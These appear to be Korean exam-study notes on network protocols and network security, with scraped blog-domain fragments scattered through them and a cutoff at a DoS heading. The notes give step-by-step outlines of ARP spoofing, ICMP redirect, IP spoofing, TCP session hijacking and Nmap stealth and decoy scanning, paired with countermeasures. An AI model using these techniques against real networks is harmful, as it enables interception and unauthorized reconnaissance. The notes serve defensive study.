	1. 최초 자신의 IP 주소를 알지 못하기 때문에 RARP Request 를 브로드캐스트
	2. RARP Server 는 RARP Reply 를 만들어서 유니캐스트 방식으로 요청자에게 응답
GARP	출발지 IP 와 목적지 IP 가 동일한 ARP 요청을 의미하고 자신의 존재를 알리는 목적으로 사용되는 패킷 - 자신의 MAC 정보를 동일 네트워크상의 다른 장비들에게 알림
	IP 충돌 감시 : IP 충돌 여부를 GARP 를 통해 검색
	상대방의 ARP Cache 정보 갱신 : GARP 메시지를 수신한 쪽에서는 자신의 정보 갱신

IP	설명
IPv4	32bit 주소 체계를 사용하며 IP 는 목적지 주소를 기반으로 라우팅을 담당하는 인터넷 계층의 대표 프로토콜 - 비연결형 프로토콜 : 연결 상태를 유지하지 않기 때문에 패킷 전송 순서를 보장하지 않음 - 비신뢰적 프로토콜 : 신뢰성 있는 통신을 보장하지 않음
	주소 지정 방식 클래스 : 클래스 A~클래스 E 로 구분하여 용도별 IP 주소 할당 CIDR : 클래스 주소의 개념을 무시하여 효율적으로 IP 주소를 할당 VLSM : 서브네팅을 여러 번 반복하여 여러 서브네트워크 계층으로 구분
	IPv4 전송방식 유니캐스트 : 1 대 1 통신

tishactistory.com

	멀티캐스트 : 데이터를 전송받기 원하는 1 대 다수 통신 브로드캐스트 : 1 대 불특정 다수 통신
IP 구조	Identification : 단편화 전 원본 IP 다이어그램을 식별하기 위한 ID
	Flags : 단편화와 재조합 여부를 확인할 수 있는 값
	Fragmentation offset : 순서대로 조합하기 위한 현재 단편의 상대위치를 저장한 필드
	Time to live : IP 패킷의 생존시간을 지정
MTU	IP 패킷/데이터그램은 MTU 에 따른 단편화가 발생 - 단편화/재조합 동작 방식(frag "단편 ID":"단편의 크기(IP 헤더 제외)"@"오프셋"+) MTU : 물리적인 네트워크 프로토콜 프레임의 데이터부의 최대크기(1500byte) 캡슐화 : IP 패킷이 프레임으로 캡슐화되기 때문에 MTU 를 초과하는 크기가 될 수 없음 단편화 : IP 패킷이 MTU 보다 크면 1500byte 이하의 크기로 단편화하여 전송 재조합 : 중계 구간의 MTU 가 달라도 재조합되지 않으며 최종 목적지에서만 재조합
	1. 분할 전 원본 IP 데이터그램(Payload 3008byte)
	2. 첫 번째 단편(frag 22666:1480@0+)
	3. 두 번째 단편(frag 22666:1480@1480+)
	4. 세 번째 단편(frag 22666:48@2960)
IPv6	IPv4 의 주소가 고갈되는 문제를 해결하기 위하여 새로운 128 비트 주소 체계를 사용 - 16 비트 단위로 구분하며 각 단위는 16 진수로 변환되어 콜론으로 구분하여 표기 확대된 주소 공간 : 주소 길이가 128 비트로 증가 단순해진 해더 포멧 : IPv4 의 불필요한 헤더를 제거하여 보다 빠른 처리 가능 간편해진 주소 설정 기능 : 내장된 주소 자동 설정 기능을 통해 플러그 앤 플레이그 설치 강화된 보안성 : IPsec 기능을 기본 사항으로 제공 개선된 모바일 IP : 주소 헤더에서 이동성 지원
	IPv6 전송방식 유니캐스트 : 1 대 1 통신 멀티캐스트 : 데이터를 전송받기 원하는 1 대 다수 통신 애니캐스트 : 클라이언트와 가장 가까운 pc 가 응답하는 1 대 1 통신
	전환 기술 듀얼 스택 : IPv4 와 IPv6 를 동시에 설정하여 통신 상대에 따라 선택적으로 이용 터널링 : IPv4 네트워크를 경유하여 IPv6 네트워크 간 통신 주소/헤더 변환 : IPv4 주소를 IPv6 주소로 변환하거나 그 반대로도 변환하여 통신

ICMP	설명
ICMP Error_Reporting 메시지	전송 중 오류 발생 시 에러 메시지를 생성하여 응답 - IP 프로토콜의 신뢰할 수 없는 특성을 보완하기 위한 에러 메시지
	Destination Unreachable(Type 3) : 해당 목적지에 도달 불가
	Redirection(Type 5) : 라우팅 경로가 잘못되어 새로운 경로를 알림
	Time Exceeded(Type 11) : 타임아웃이 발생하여 IP 패킷이 폐기

ICMP Query 메시지	네트워크 상태를 진단하기 위한 쿼리 요청 및 응답메시지 생성 - IP 프로토콜의 신뢰할 수 없는 특성을 보완하기 위한 진단 메시지 윈도우는 TTL 128 사용 리눅스는 TTL 64 사용
	Echo Request(Type 8) : 네트워크 및 호스트의 상태진단 요청
	Echo Reply(Type 0) : 네트워크 및 호스트의 상태진단 응답

TCP/UDP	설명
TCP	연결 지향 프로토콜로 물리적으로 전용회선이 연결되어 있는 것처럼 가상의 연결통로를 설정해서 통신 - 스트림 기반의 전송 방식을 사용 가상회선 : 물리적으로 전용회선이 연결되어 있는 것처럼 논리적으로 동작하는 방식 순서제어 : 논리적인 연결통로를 통해 데이터를 주고받음으로써 데이터의 순서 보장
	TCP 서비스 프로세스-대-프로세스 통신 : UDP 처럼 포트 번호를 사용하여 프로세스 간 통신을 제공 스트림 전송 서비스 : 송신 프로세스는 바이트의 흐름으로 데이터를 전달하고 수신 프로세스도 바이트의 흐름으로 데이터를 수신 송신 및 수신 버퍼 : 각 방향을 위해 송신 및 수신 두 가지 버퍼가 있으며 TCP 흐름 및 오류 제어 기법에 사용 전이중 통신 : 데이터는 동시에 양방향으로 전달될 수 있음 연결 지향 서비스 : 논리적인 연결통로를 통해 데이터를 주고받음으로써 데이터의 전송순서를 보장 신뢰성 있는 서비스 : 데이터의 안전하고 확실한 도착을 확인하기 위하여 확인응답 기법을 사용
	안전성 있는 데이터 전송 - 신뢰할 수 있는 프로토콜로 흐름제어, 오류제어, 혼잡제어를 수행 흐름제어 수행 : 상대방이 받을 수 있는 만큼만 데이터를 효율적으로 전송 오류제어 수행 : 데이터의 오류나 누락없이 안전한 전송을 보장(오류 발생 시 재전송) 혼잡제어 수행 : 네트워크의 혼잡 정도에 따라 송신자가 데이터 전송량을 제어
MSS	TCP 분할과 재조합 MSS : TCP 세그먼트 데이터부의 최대 바이트 수 MSS 크기 : MTU 크기에서 IP 헤더와 TCP 헤더를 빼면 MSS 의 크기
상태 플래그	1. FIN(000001) : 정상 연결 종료
	2. SYN(000010) : 연결 설정
	3. RST(000100) : 연결 중단(강제 종료)
	4. PSH(001000) : 데이터 즉시 처리
	5. ACK(010000) : 수신 확인 응답 설정
	6. URG(100000) : 긴급 데이터 설정

연결 설정 과정 (3-Way Handshake)	1. 클라이언트(SYN) -> 서버 Seq.Num : 1000 Ack.Num :
	2. 서버(SYN+ACK) -> 클라이언트 Seq.Num : 2000 Ack.Num : 1001
	3. 클라이언트(ACK) -> 서버 Seq.Num : 1001 Ack.Num : 2001
연결 종료 과정 (4-Way Handshake)	1. 클라이언트(FIN+ACK) -> 서버 Seq.Num : 2200 Ack.Num : 3300
	2. 서버(ACK) -> 클라이언트 Seq.Num : 3300 Ack.Num : 2201
	3. 서버(FIN+ACK) -> 클라이언트 Seq.Num : 3300 Ack.Num : 2202
	4. 클라이언트(ACK) -> 서버 Seq.Num : 2202 Ack.Num : 3301
UDP	비연결형이고 신뢰성이 없는 전송 프로토콜로 프로세스간 통신을 제공하는 것을 제외하고는 IP 서비스에 어떠한 것도 추가하지 않음 - 최소한의 오버헤드를 가진 매우 간단한 프로토콜 - 신뢰성이 필요하지 않는 서비스에 사용 - IP 기반의 포트 정보를 이용하여 상위 송수신 어플리케이션을 식별
	UDP 서비스 프로세스-대-프로세스 통신 : IP 주소와 포트 번호와 결합인 소켓 주소를 이용 비연결형 서비스 : 데이터그램 전송 시마다 주소 정보를 설정해서 전송

c.tistory.com

네트워크 관리

관리 도구	설명
ping	종단 노드 간에 네트워크 상태를 관리하기 위한 명령어 - ICMP Echo Request 와 ICMP Reply 메시지를 이용하여 대상 시스템에 대한 접근성, 해당 구간에 대한 네트워크 속도 및 품질을 검사 윈도우 ping 명령 : ping -n 5 -l 128 www.google.com 명령으로 패킷의 횟수와 크기설정 리눅스 ping 명령 : ping -c 5 -s 128 www.google.com 명령으로 패킷의 횟수와 크기설정
	1. 로컬 호스트는 ICMP 타입 중에서 Echo Request 타입을 지정하여 대상 시스템으로 ICMP 패킷을 전송
	2. 대상 시스템으로부터 Echo Reply 패킷을 수신함으로써 접근성을 확인

traceroute	리눅스에서 종단 노드 사이에 있는 여러 중계 노드 각 구간에 대한 네트워크 상태를 관리하기 위한 명령어 - 상태를 측정하기 위해 IP 의 TTL 필드를 1 로 설정한 UDP 패킷을 보냄
	1. 라우터는 패킷의 생존 기간을 계산하기 위해 패킷을 수신하면 TTL 값을 1 감소
	2. 그 결과 0 이 되면 TTL 초과로 판단하여 해당 패킷을 폐기
	3. ICMP Time Exceeded 패킷을 최초 출발지로 보냄
	4. 최초 출발지는 TTL 값을 계속 추가하여 보냄
	5. 최종 목적지에 UDP 패킷이 도달
	6. ICMP Destination Unreachable 패킷이 반환
	7. 이 정보를 이용하여 최종 목적지 호스트에 도달했음을 확인하여 네트워크 상태를 판단
tracert	윈도우에서 종단 노드 사이에 있는 여러 중계 노드 각 구간에 대한 네트워크 상태를 관리하기 위한 명령어 - 상태를 측정하기 위해 IP 의 TTL 필드를 1 로 설정한 ICMP Request 패킷을 보냄
	1. 라우터는 패킷의 생존 기간을 계산하기 위해 패킷을 수신하면 TTL 값을 1 감소
	2. 그 결과 0 이 되면 TTL 초과로 판단하여 해당 패킷을 폐기
	3. ICMP Time Exceeded 패킷을 최초 출발지로 보냄
	4. 최초 출발지는 TTL 값을 계속 추가하여 보냄
	5. 최종 목적지에 ICMP Echo Request 패킷이 도달
	6. ICMP Echo Reply 패킷이 반환
	7. 이 정보를 이용하여 최종 목적지 호스트에 도달했음을 확인하여 네트워크 상태를 판단
netstat	시스템의 네트워크 관련 다양한 상태정보를 관리할 수 있는 명령어 - 소켓의 상태정보와 시스템 라우팅 정보, 네트워크의 인터페이스 정보, 프로토콜별 통계정보를 확인할 수 있음 모든 연결된 소켓 상태정보 : 옵션없음 모든 소켓 상태 정보 : -a 네트워크 인터페이스 정보 : -i 시스템 라우팅 테이블 정보 : -r 프로토콜별 통계정보 : -s TCP 소켓 정보(u 옵션은 UDP) : -t 네트워크 주소를 숫자 형식으로 출력 : -n 소켓의 프로세스명/pid 정보 : -p
	netstat 의 필드 정보 Proto : 사용한 프로토콜의 종류 Recv-Q : 원격 호스트로부터 수신 버퍼에 저장된 데이터의 크기 Send-Q : 원격 호스트로 전송하기 위해 송신 버퍼에 저장한 데이터의 크기 Local Address : 로컬 호스트의 소켓 주소 Foreign Address : 원격 호스트의 소켓 주소 State : 소켓 상태

tishac.tistory.com

ifconfig	유닉스/리눅스 시스템에서 네트워크 인터페이스 설정 정보를 조회하거나 IP 주소나 서브넷 마스크 등의 설정을 변경할 때 사용 ifconfig [인터페이스 명] promisc 명령으로 해당 인터페이스의 모드를 무차별 모드로 전환 ifconfig [인터페이스 명] -promisc 명령으로 해당 인터페이스의 무차별 모드를 해제
ipconfig	윈도우 시스템에서 네트워크 인터페이스 설정 정보를 조회할 때 사용 - dns 캐시 정보를 출력/삭제하는 displaydns 와 flushdns 가 있음 ifconfig /all 명령으로 네트워크 인터페이스에 대한 상세한 정보를 표시
tcpdump	네트워크 인터페이스를 거치는 패킷의 내용을 출력해 주는 프로그램 - 스니핑 도구의 일종으로 자신의 컴퓨터로 들어오는 모든 패킷의 내용을 도청 - 공격자의 추적 및 공격 유형 분석을 위한 패킷 분석 시에 활용 tcpdump -i eth 0 명령으로 eth0 인터페이스의 트래픽을 모니터링

무선 네트워크 기본

블루투스	
서로 짧은 거리에 있을 때 전화기, 노트북, 컴퓨터 등과 같은 서로 다른 기능을 가지 장치를 연결하기 위해 설계된 무선 LAN 기술 - 마스터(Master)-슬레이브(Slave) 방식으로 블루투스 링크를 설정	
블루투스 링크	**설명**
피코넷	슬레이브를 연결하여 네트워크를 구성한 형태 - 한 대의 마스터는 슬레이브를 7 대까지 구성할 수 있음
스캐터넷	계층적이고 규모가 큰 네트워크를 구성 - 피코넷이 여러개 모인 형태
블루투스 공격	**설명**
블루프린팅	블루투스 공격 장치의 검색 활동을 의미
블루스나핑	블루투스의 취약점을 이용하여 장비의 임의 파일에 접근하는 공격
블루버깅	블루투스 장비 간의 취약한 연결 관리를 악용한 공격
블루재킹	블루투스를 이용해 스팸처럼 명함을 익명으로 퍼트림

tishatishary.com

RFID	
무선 주파수를 이용해 ID 를 식별하는 방식 - 태그가 송신하는 전파의 에너지원을 얻은 동작 방법에 따라 수동형과 능동형으로 구분	
RFID 공격	**설명**
도청	공격자가 리더기를 갖고 태그를 스캐닝하는 적극적 공격과, 리더기와 태그 간 통신을 도청하는 수동적 공격이 있음
트래픽 분석	특정 태그에서 리더기와 태그 간의 트래픽을 분석할 수 있다면 어느정도의 트래픽이 존재하는지 확인이 가능
위조	데이터 항목을 지우거나 대신할 수 있는 방법을 통해 리더기와 태그 간의 통신에 잘못된 데이터가 서로 교환될 수 있음

서비스 거부 공격	수 많은 질의를 리더기 및 태그에게 보낸다면 리더기와 태그는 많은 질의에 대해서 일일이 반응해야 함
RFID 보안	**설명**
Kill 명령어	태그에 Kill 명령어를 전송하면 태그가 영구적으로 비활성화되는 방식으로 태그의 내용은 영원히 재활용 불가
Sleep/Wake 명령어	태그의 기능을 잠시 동안 정지하였다가 안전한 장소에서 다시 동작하도록 하는 명령
블로커 태그 기법	블로커 태그라고 불리는 전용 IC 태그를 소비자가 소지함으로써 가까이 있는 IC 태그의 ID 를 읽을 수 없게 만듦
Faraday Cage	금속성 박막으로 태그를 막아 무선 신호의 전달을 방해하는 방법
Jamming	강한 방해 신호를 보내어 불법적인 리더기의 접근을 막는 방식
해시 락 기법	one-way 해시 함수를 기반으로 하는 접근제어 메커니즘을 사용
XOR 기반 원타임 패드 기법	XOR 과 같은 간단한 연산은 무리 없이 이용

무선랜	
무선 신호 전달 방식을 이용하여 두 대 이상의 장치를 연결하는 기술로 근거리 지역에서 이동하면서도 지속적으로 네트워크에 접근할 수 있음 SSID : 무선랜을 식별하기 위한 용도 BSS : 가장 기본적인 망 구성단위(무선랜) BSSID : BSS 망을 식별하기 위한 용도 ESS : 여러 BSS 에 의해 구성된 네트워크 ESSID : ESS 네트워크를 식별하기 위한 용도 DS : 무선 AP 가 연결된 유선 네트워크 Beacon 프레임 : 무선 AP 가 자신이 관리하는 무선랜의 존재를 정기적으로 알림 무선 브리지 : 2 개 이상의 무선랜을 연결하는 장비로서 물리적으로 떨어져 있는 2 개의 무선랜에 각각 위치하여 동작 - 2 개의 브리지 사이에는 전파의 전송을 방해하는 물체가 존재하지 않아야 함	
무선랜 환경	**설명**
상용 무선랜 환경	이동통신사가 고객 서비스용으로 구축
공중 무선랜 환경	서비스 업종에서 불특정 다수의 고객 편의를 위해 구축
사설 무선랜 환경	일반 사용자가 무선 공유기를 통해서 구축
기업 무선랜 환경	기업이 내부 업무용으로 구축
무선랜 특성	**설명**
감쇠	신호는 모든 방향으로 퍼지기 때문에 전자기 신호의 강도는 급격하게 줄어듦
간섭	같은 주파수 대역을 사용하고 있는 다른 송신자의 신호도 받을 수 있음
다중경로 전달	전기적 파동은 장애물에 반사될 수 있기 때문에 같은 송신자에게 하나 이상의 신호를 받을 수 있음
오류	오류와 오류 감지는 유선에서보다 무선에서 더욱 심각한 문제

ac.tistory.com

무선랜 표준안	설명
IEEE 802.11	최초의 무선랜 표준으로 인증절차 없이 접속하고 평문을 전송
IEEE 802.11b	무선전송 데이터 암호화와 인증을 제공하기 위해 WEP 규정
IEEE 802.11i	WPA, WPA2 를 규정하여 보다 강화된 암호화와 인증을 제공
무선랜 보안 취약점	**설명**
물리적인 취약점	도난 및 파손 : 외부 노출된 무선 AP 의 도난 및 파손으로 인한 장애발생
	구성설정 초기화 : 무선 AP 의 리셋버튼을 통한 장비의 초기화로 인한 장애발생
	전원 차단 : 무선 AP 의 전원 케이블의 분리로 인한 장애발생
	LAN 차단 : 무선 AP 의 연결된 내부 네트워크 케이블의 절체로 인한 장애발생
기술적인 취약점	도청 : 브로드캐스트 특성으로 도청/스니핑에 취약
	서비스 거부 : 무선 AP 장비에 대량의 무선 패킷을 전송하여 무선랜을 무력화
	불법 AP : 불법적인 AP 를 설치하여 접속을 유도
관리적인 취약점	무선랜 장비 관리 미흡 : 관리 소홀로 인해 장비가 파손되거나 도난
	사용자의 보안 의식 부족 : 전체 서비스의 보안 허점이 발생하여 공격의 표적
	전파 관리 미흡 : 기관 외부로 무선랜 전파가 유출되어 취약점을 파악해 공격
무선랜 보안대책	**설명**
기업 네트워크에서의 무선랜 보안	무선 단말 인증 : WPA2-기업의 RADIUS 서버를 활용한 EAP 기반 인증을 권고
	전송데이터 암호화 : 검증된 WPA2 보안규격의 AES-CCMP 방식을 권고
개인 및 SOHO 사업자의 무선랜 보안	사설망을 통한 인증 : WPA2-개인의 PSK 인증을 설정한 후 안전한 인증 패스워드 이용
	전송데이터 암호화 : 검증된 WPA2 보안규격의 AES-CCMP 방식을 권고
	무선랜 사업자의 서비스 이용 : 제공하는 인증서버를 통한 단말 인증기능을 사용
무선 AP 물리적/관리적 보안	SSID 변경 및 브로드캐스트 금지 : 초기 SSID 의 값을 변경, 브로드캐스트 숨김 설정
	무선 AP 의 기본 패스워드 변경 : 추측하기 어려운 패스워드 사용, 주기적으로 변경
	무선 AP 의 물리적 접근 제한 : 보호 케이스 설치, 리셋 버튼 차단 등 보안대책을 확보

tishac.tistory.com

무선 프로토콜

WAP
모바일 사용자에게 무선전화기나 기타 인터넷과 웹을 포함하는 정보 서비스를 제공하는 무선 단말기를 위한 표준 - 종단-대-종단 보안으로 WAP2 가 있음 - 모든 기존 무선 네트워크 기술 및 IP, XML, HTML, HTTP 등의 인터넷 기술과 가능한 한 호환해서 사용할 수 있게 설계 WDP : 상위 계층 WAP 프로토콜을 모바일 노드와 WAP 게이트웨이 사이에서 사용되는 통신 방법에 적합하게 변형 WTP : WAP 브라우저 같은 사용자 에이전트와 응용 서버 사이에 브라우징이나 전자상거래 트랜잭션과 같은 동작을 위해서 요청과 응답을 전달하여 트랜잭션을 관리 WSP : 응용 프로그램에 두 가지 세션 서비스를 위한 인터페이스를 지원

무선 마크업 언어(WML)
제한된 통신 용량, 제한된 화면 크기 및 제한된 사용자 입력 기능을 가진 장비에서 콘텐츠와 양식을 표현하기 위해 설계 - 모바일 장비에 흔히 사용되는 입력 기능과 함께 동작
무선 응용 환경(WAE)
모바일 전화, 버퍼, PDA 같은 무선 장비의 응용 프레임워크를 규격화 - WAP 가 지원하는 응용 프로그램과 장비 개발을 쉽게 하기 위한 도구와 형식의 집합
무선 전송 계층 보안(WTLS)
무선 응용 프로토콜에서 전송 계층 보안을 위해 적용하는 TLS 기반의 보안 프로토콜 - SSL/TLS 와 같은 두 개의 계층으로 구성

네트워크 공격

스니핑	
네트워크상에서 은밀하게 패킷을 도청하는 것을 의미 스니퍼 : 스니핑 작업을 할 때 사용되는 도구 - 어떤 영향을 미치지는 않기 때문에 수동적 공격 기법으로 분류 - 스니핑 탐지는 기본적으로 스니퍼가 Promisc 모드에서 작동한다는 것을 이용	
스니핑 환경	**설명**
허브 환경 스니핑	무차별 모드 : 자신이 목적지가 아닌 패킷도 모두 수신하여 스니핑
스위치 환경 스니핑	스위치 재밍 : 스위치가 허브처럼 동작하게 만들어 스니핑
	ARP 스푸핑 : 특정 호스트로 나가는 패킷을 공격자로 향하도록 하여 스니핑
	ARP 리다이렉트 : 라우터로 나가는 패킷을 공격자로 향하도록 하여 스니핑
	ICMP 리다이렉트 : 희생자의 라우팅 테이블을 변조하여 패킷을 스니핑
	스위치의 SPAN/Port Mirroring : 스위치를 통과하는 모든 트래픽을 볼 수 있는 기능
스니핑 탐지	**설명**
ping 을 이용한 방법	위조된 MAC 주소를 ping 을 보냈을 때 ICMP Echo Reply 를 받는지 확인
ARP 을 이용한 방법	위조된 ARP Request 를 보냈을 때 ARP Response 가 오는지 확인
DNS 을 이용한 방법	원격에서 테스트 대상 네트워크로 Ping sweep 을 보내고, 들어오는 Inverse-DNS lookup 을 감시
유인 방법	가짜 계정과 패스워드를 네트워크에 계속 뿌려 공격자가 이를 이용해 접속을 시도하는지 확인
ARP watch	초기에 MAC 주소와 IP 주소의 매칭 값을 저장하고 ARP 트래픽을 모니터링
스니핑 대응방안	**설명**
SSL	암호화된 웹 서핑 사용
PGP, PEM, S/MIME	이메일을 전송할 때 암호화 사용
SSH	텔넷과 같은 서비스의 암호화 사용

tishactistory.com

VPN	공용 회선을 이용한 사설 암호화 망 사용

ARP 공격	설명
ARP Spoofing	1. 특정 호스트의 MAC 주소를 자신의 MAC 주소로 위조한 ARP Reply 를 만듦
	2. 희생자에게 지속적으로 전송
	3. 희생자 ARP Cache Table 의 MAC 정보가 공격자의 MAC 정보로 지속적으로 변경
	4. 희생자들이 정상적인 통신이 될 수 있도록 IP Forward 기능을 활성화
	5. 희생자로부터 특정 호스트로 나가는 패킷을 공격자로 향하도록하여 스니핑
ARP Redirect	1. 자신이 라우터인 것처럼 MAC 주소를 위조한 ARP Reply 를 만듦
	2. 대상 네트워크에 지속적으로 브로드캐스트
	3. 호스트들의 ARP Cache Table 에 라우터의 MAC 정보가 공격자의 MAC 정보로 변경
	4. 호스트들이 정상적인 통신이 될 수 있도록 IP Forward 기능을 활성화
	5. 호스트로부터 라우터로 나가는 패킷을 공격자로 향하도록하여 스니핑
ARP 공격 대응방안	캐시 정적 설정 : arp -s [대상 IP][대상 MAC] 명령을 통해 캐시 정보를 정적으로 설정
	ARP 트래픽 모니터링 : IP 와 MAC 주소의 매핑 감시, 변경 발생 시 즉시 확인하도록 함

IP 공격	설명
IP Spoofing	1. 트러스트 관계가 맺어진 서버와 클라이언트를 확인
	2. 신뢰 관계가 있는 클라이언트를 연결 불가능한 상태로 만듦 - DoS 공격 등을 이용
	3. 공격자가 클라이언트의 IP 로 위조하여 서버에 접속
IP Spoofing 공격 대응방안	MAC 주소 정적 구성 : 단순히 IP 만을 위조한 접속을 차단
	/etc/hosts.equiv 또는 $HOME/.rhosts 파일에서 +를 제거하고 반드시 필요한 계정만 등록
	/etc/hosts.equiv 또는 $HOME/.rhosts 파일의 소유자를 root 로 변경하고 600 권한 이하로 설정

tishac.tistory.com

ICMP 공격	설명
ICMP Redirect	1. 패킷의 라우팅 경로를 자신의 주소로 위조한 ICMP Redirect 메시지를 생성
	2. 희생자에게 전송
	3. 희생자의 라우팅 테이블을 변조하여 패킷을 스니핑
ICMP Redirect 공격 대응방안	ICMP Redirect 옵션 해제 : sysctl -w net.ipv4.conf.all.accept_redirects=0

세션 탈취 공격	설명
TCP 세션 하이재킹	1. 공격자는 ARP 스푸핑을 통해 클라이언트와 서버 사이의 TCP 통신을 스니핑
	2. 공격자는 희생자의 IP 주소를 사용하여 위조된 TCP 패킷을 생성하여 서버로 전송

	3. 서버는 이를 정상적인 패킷으로 간주하고 Ack.Num 를 증가시켜 응답
	4. 희생자는 Ack.Num 가 증가된 응답을 받은 희생자는 서버에 교정용 ACK 패킷을 전송
	5. 서버는 교정용 ACK 패킷에 대해 계속해서 응답하여 ACK Storm 을 유발
	6. 공격자는 희생자에게 RST 메시지를 전달하여 연결을 강제 종료
	7. 공격자는 서버와의 세션을 유지
TCP 세션 하이재킹 공격 대응방안	지속적인 인증 : 특정 행동을 하거나 일정 시간이 지나면 재인증을 요청
	암호화 사용 : 데이터 전송 시 암호화를 사용하여 Seq.Num 을 추측하기 어렵게 함
	Ack Storm 감지 : 패킷의 순서를 맞추기 위해 ack 패킷을 보내는 과정을 감지

스캐닝
시스템에 직접적으로 침입하기 전에 목표 호스트에 대한 정보를 수집하는 활동
스캐닝 과정
1. 풋 프린팅 : 공격자가 공격전에 공격대상에 대한 다양한 정보를 수집하기 위해 널리 사용하는 방법 - 사회공학 기법을 이용해 비밀번호 등을 수첩이나 메모지에 적어 두면 이를 가로채어 정보를 수집 - 스스로 공개한 여러 가지 정보를 풋 프린팅하여 공격대상의 정보들을 수집
2. 스캐닝 : 실제 공격방법을 결정하거나 공격에 이용될 수 있는 네트워크 구조, 시스템이 제공하는 서비스 등의 정보를 얻기 위해서 수행되는 방법 Sweep : IP 주소와 네트워크 범위를 조사 Open Scan : 시스템과 포트의 활성화 여부를 확인 Stealth Scan : TCP 헤더를 조작하여 은밀하게 스캔하여 포트의 활성화 여부를 확인 Security Scan : 시스템의 보안 취약점을 조사 - 공격대상 네트워크의 보안장비 사용 현황 - 우회 가능 네트워크 구조 - 해당 네트워크 내의 시스템 플랫폼 형태 - 시스템 운영체제의 커널 버전의 종류 - 제공 서비스의 종류
3. 목록화 : 수집한 정보를 바탕으로 좀 더 실용적인 정보를 얻는 과정 - 풋 프린팅과 스캐닝을 통해 수집한 정보를 바탕으로 실제 공격에 사용할 수 있도록 목록화 - 공유 자원 목록화, 사용자 및 그룹 목록화, 응용 프로그래 목록화로 구분

포트 스캔 대응방안	설명
패킷 차단	불필요한 패킷을 차단하도록 방화벽 설정
포트 점검	사용하지 않는 포트는 열어놓지 않음(불필요한 서비스는 종료)
스캔 탐지	침입탐지시스템을 사용해 포트 스캔 탐지
로그 감사	시스템 로그 감사
스캔 방화벽 정책	**설명**
iptables DROP 정책	DROP 은 들어온 패킷을 무시하고 어떤 응답도 보내지 않음 1. 공격자 : 스캔 패킷(TCP, UDP 스캔 등)

tistory.com

	2. 방화벽 : 응답없음
iptables REJECT 정책	REJECT 는 패킷을 차단하고 거부메시지를 보냄 1. 공격자 : 스캔 패킷(TCP, UDP 스캔 등) 2. 방화벽 : ICMP Unreachable
포트 스캐너	**설명**
Nmap	대상의 포트 및 서비스를 스캔하는데 사용되는 도구 - 침입 전 취약점을 분석하기 위한 사전 작업 중 하나로 포트 스캐닝을 통해 대상 호스트의 동작 여부와 제공하는 서비스 등을 확인할 수 있음 TCP 포트 오픈 여부를 확인하는 스캔 : -sS TCP 포트 오픈 여부를 확인하는 스캔 : -sT UDP 포트 오픈 여부를 확인하는 스캔 : -sU TCP FIN 제어비트 패킷을 이용한 스캔 : -sF TCP FIN, PSH, URG 제어비트를 조합한 패킷을 이용한 스캔 : -sX TCP 제어비트 설정이 없는 NULL 패킷을 이용한 스캔 : -sN 방화벽 룰셋을 확인하기 위한 스캔 : -sA Ping 을 이용해 호스트 활성화 여부를 확인하는 스캔 : -sP 실제 스캐너 주소 외에도 다양한 주소로 위조하여 스캔 : -D FTP Bounce 스캔 : -b 대상 호스트의 운영체제 정보를 출력 : -O 빠른 네트워크 스캐닝 : -F 아주 느리게 ~ 아주 빠르게 스캐닝 : -T0~T5
스캔 방식	**설명**
TCP Connect(Open) 스캔	일반 사용자 권한으로 TCP 포트 오픈 여부를 확인 - Connect 시스템 호출을 이용하는 방식으로 스캔 대상 포트별로 정상적인 TCP 연결설정을 수행하여 스캔
	TCP Connect 스캔(포트 오픈 상태) 1. 공격자 : SYN 2. 타겟서버 : SYN+ACK 3. 공격자 : ACK(스캔을 시도한 IP 주소가 시스템 로그에 기록) 4. 공격자 : RST+ACK(포트 오픈 여부를 확인했기 때문에 즉시 중단)
	TCP Connect 스캔(포트 닫힌 상태) 1. 공격자 : SYN 2. 타겟서버 : RST+ACK(해당 포트가 닫혀 있음)
TCP SYN(Half-Open) 스캔	관리자 권한으로 TCP 패킷 자체를 직접 조작하여 TCP 오픈여부를 판단하는 방식 - TCP 연결설정이 완전하게 이루어지지 않기 때문에 스캔 대상 시스템에 로그가 남지 않음
	TCP SYN 스캔(포트 오픈 상태) 1. 공격자 : SYN 2. 타겟서버 : SYN+ACK 3. 공격자 : RST(강제종료를 통해 연결을 안함)
	TCP SYN 스캔(포트 닫힌 상태)

istory.com

	1. 공격자 : SYN 2. 타겟서버 : RST+ACK(해당 포트가 닫혀 있음)
TCP FIN/NULL/Xmas 스캔	관리자 권한으로 TCP 패킷 자체를 직접 조작하여 TCP 오픈여부를 판단하는 방식 - TCP 연결설정이 완전하게 이루어지지 않기 때문에 스캔 대상 시스템에 로그가 남지 않음 TCP FIN 스캔 : FIN 제어비트만 설정하여 스캔 TCP NULL 스캔 : 제어비트를 설정하지 않고 스캔 TCP Xmas 스캔 : URG, PSH, FIN 제어비트를 설정하여 스캔
	TCP FIN/NULL/Xmas 스캔(포트 오픈 상태) 1. 공격자 : FIN/No Flags Set/URG, PSH, FIN 2. 타겟서버 : 응답 없음
	TCP FIN/NULL/Xmas 스캔(포트 닫힌 상태) 1. 공격자 : FIN/No Flags Set/URG, PSH, FIN 2. 타겟서버 : RST+ACK(해당 포트가 닫혀 있음)
TCP ACK 스캔	대상 호스트의 포트 오픈 여부를 판단하는 것이 아닌 방화벽 룰셋을 알아내기 위한 스캔방식 - 방화벽에 의한 차단과 허용 상태를 확인할 수 있음
	TCP ACK 스캔(포트 차단 상태) 1. 공격자 : ACK 2. 방화벽 : 응답없음 또는 ICMP Unreachable
	TCP ACK 스캔(포트 허용 상태) 1. 공격자 : ACK 2. 방화벽 : 포트 허용으로 인한 통과 3. 타겟서버 : RST
UDP 스캔	대상 호스트의 UDP 포트 오픈 여부를 판단하는 스캔방식 - 닫힌 UDP 포트로 패킷 수신 시 ICMP 에러 메시지로 응답
	UDP 스캔(포트 오픈 상태) 1. 공격자 : UDP 2. 타겟서버 : 응답없음
	UDP 스캔(포트 닫힌 상태) 1. 공격자 : UDP 2. 타겟서버 : 응답없음 또는 ICMP Unreachable
Decoy 스캔	대상 호스트에서 스캐너 주소를 식별하기 어렵도록 실제 스캐너 주소 외에 다양한 위조된 주소로 스캔하는 방식 - 임의로 부여한(RND) 위조된 IP 로 스캔을 수행
	TCP Decoy 스캔(포트 오픈 상태) 1. 공격자 : TCP SYN Scan(스캔 타입) + RND(Decoy 옵션) 2. 타겟서버 : SYN+ACK 3. 공격자 : RST(강제종료를 통해 연결을 안함)
	TCP Decoy 스캔(포트 닫힌 상태) 1. 공격자 : TCP SYN Scan(스캔 타입) + RND(Decoy 옵션) 2. 타겟서버 : RST+ACK(해당 포트가 닫혀 있음)

tistory.com

DoS	
